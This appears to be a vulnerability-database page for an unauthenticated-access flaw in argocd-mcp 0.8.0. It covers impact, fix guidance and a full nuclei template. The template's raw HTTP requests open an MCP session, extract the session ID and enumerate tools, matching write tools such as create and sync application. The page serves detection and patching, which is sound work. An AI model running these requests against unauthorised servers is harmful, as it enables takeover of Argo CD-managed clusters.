HexBrain

Browse / CVEs / CVE-2026-82456

CVE-2026-82456· argoproj-labs / mcp-for-argocd· CWE-306

argocd-mcp 0.8.0 - Unauthenticated MCP Session and Tool Access

criticalseverity
10CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

argocd-mcp before 0.9.0 binds its MCP HTTP listener to all interfaces without requiring authentication. A remote unauthenticated attacker can initialize an MCP session, complete the handshake, and enumerate or invoke the full Argo CD tool surface using the operator's stored API token.

Impact

Remote unauthenticated attackers reach the full Argo CD tool surface with the operator's stored API token. Applications can be created pointing at attacker-controlled repositories and synced, which executes hostile manifests in the managed cluster under Argo CD's permissive default project.

Fix

Upgrade to argocd-mcp 0.9.0 and set MCP_AUTH_TOKEN so inbound callers must present an Authorization bearer header. Keep --bind-address on 127.0.0.1 unless an external auth layer is in front of the listener, and do not use --allow-unauthenticated to restore a wide bind.

How to confirm it

Send: POST /mcp
Positive when: contains(body, "\"serverInfo\"") && contains(body, "\"name\":\"argocd-mcp\"") and status_code == 200
Send: POST /mcp
Positive when: status_code == 202
Send: POST /mcp
Positive when: contains(body, "\"name\":\"list_applications\"") && contains(body, "\"inputSchema\"") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-82456 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2026-82456

info:
  name: argocd-mcp 0.8.0 - Unauthenticated MCP Session and Tool Access
  author: kh1166
  severity: critical
  description: |
    argocd-mcp before 0.9.0 binds its MCP HTTP listener to all interfaces without requiring authentication. A remote unauthenticated attacker can initialize an MCP session, complete the handshake, and enumerate or invoke the full Argo CD tool surface using the operator's stored API token.
  impact: |
    Remote unauthenticated attackers reach the full Argo CD tool surface with the operator's stored API token. Applications can be created pointing at attacker-controlled repositories and synced, which executes hostile manifests in the managed cluster under Argo CD's permissive default project.
  remediation: |
    Upgrade to argocd-mcp 0.9.0 and set MCP_AUTH_TOKEN so inbound callers must present an Authorization bearer header. Keep --bind-address on 127.0.0.1 unless an external auth layer is in front of the listener, and do not use --allow-unauthenticated to restore a wide bind.
  reference:
    - https://github.com/argoproj-labs/mcp-for-argocd/security/advisories/GHSA-rp45-5x3v-48mr
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82456
    - https://www.vulncheck.com/advisories/argocd-mcp-0.8.0-authentication-bypass-via-unauthenticated-http
    - https://github.com/argoproj-labs/mcp-for-argocd/releases
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-82456
    epss-score: 0.02367
    epss-percentile: 0.83947
    cwe-id: CWE-306
  metadata:
    verified: false
    max-request: 3
    vendor: argoproj-labs
    product: mcp-for-argocd
  tags: cve,cve2026,argocd,argoproj,mcp,auth-bypass,exposure

flow: |
  http(1)
  if (template["sid"] == "") {
    stop()
  }
  http(2) && http(3)

http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"nuclei","version":"1.0"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"serverInfo\"") && contains(body, "\"name\":\"argocd-mcp\"")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: sid
        part: header
        internal: true
        group: 1
        regex:
          - '(?i)mcp-session-id:\s*([0-9a-fA-F-]{36})'

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        mcp-session-id: {{sid}}

        {"jsonrpc":"2.0","method":"notifications/initialized"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 202'
        internal: true

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        mcp-session-id: {{sid}}

        {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"name\":\"list_applications\"") && contains(body, "\"inputSchema\"")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: session
        part: header
        group: 1
        regex:
          - '(?i)mcp-session-id:\s*([0-9a-fA-F-]{36})'

      - type: regex
        name: write_tools
        part: body
        group: 1
        regex:
          - '"name":"(create_application|update_application|delete_application|sync_application|run_resource_action)"'

References

Use this check only on systems you are authorised to test. Where the data comes from